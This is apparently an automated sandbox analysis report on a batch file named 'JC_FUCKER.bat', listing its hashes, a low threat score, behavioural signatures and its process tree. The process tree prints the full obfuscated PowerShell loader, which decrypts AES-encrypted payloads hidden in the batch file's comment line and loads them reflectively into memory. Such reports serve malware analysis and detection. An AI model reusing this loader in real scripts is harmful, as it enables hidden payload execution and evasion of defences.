Analysis
-
max time kernel
44s -
max time network
19s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
12/06/2024, 22:05
Static task
static1
Behavioral task
behavioral1
Sample
JC_FUCKER.bat
Resource
win7-20240508-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
JC_FUCKER.bat
Resource
win10v2004-20240508-en
4 signatures
150 seconds
General
-
Target
JC_FUCKER.bat
-
Size
9.4MB
-
MD5
56a787737f38ccf89a52a0ecef3fa02f
-
SHA1
37bc3a8bf4cb02f466a4aed0c29e6624f1f0afd4
-
SHA256
2f10b92e2eb2603d9a175de8612e0a019de6120a08e9692fb257d6762fcb9d5b
-
SHA512
006590f8af3517b30a021cd1ddd14d9e07acf6e99c035c73f4bdd3433771679ee3798004a6cf2f3d4cdcc9bacb4274ee650e7d48ec8309cf9631dad735f9846d
-
SSDEEP
49152:XL6IQA9BF+ibdjFpF9N1J8HGzCGSJxd1ENOLMZ3Sni9Ygyd5n9yuw/kr/Xs6axAJ:Xo
Score
3/10
Malware Config
Signatures
-
pid Process 1756 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1756 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1756 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1936 wrote to memory of 1756 1936 cmd.exe 29 PID 1936 wrote to memory of 1756 1936 cmd.exe 29 PID 1936 wrote to memory of 1756 1936 cmd.exe 29
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1936 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a5AmTdD8faRft+SqfDPSFc9Rvu/tk70svhnIX8ES+G4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xEm8WGDhNqD+yqx3I6F6VQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YCDLx=New-Object System.IO.MemoryStream(,$param_var); $hdstP=New-Object System.IO.MemoryStream; $KDiDZ=New-Object System.IO.Compression.GZipStream($YCDLx, [IO.Compression.CompressionMode]::Decompress); $KDiDZ.CopyTo($hdstP); $KDiDZ.Dispose(); $YCDLx.Dispose(); $hdstP.Dispose(); $hdstP.ToArray();}function execute_function($param_var,$param2_var){ $lUoiF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MXsDF=$lUoiF.EntryPoint; $MXsDF.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat';$TbpgT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat').Split([Environment]::NewLine);foreach ($WBZwa in $TbpgT) { if ($WBZwa.StartsWith(':: ')) { $WWajZ=$WBZwa.Substring(3); break; }}$payloads_var=[string[]]$WWajZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1756
-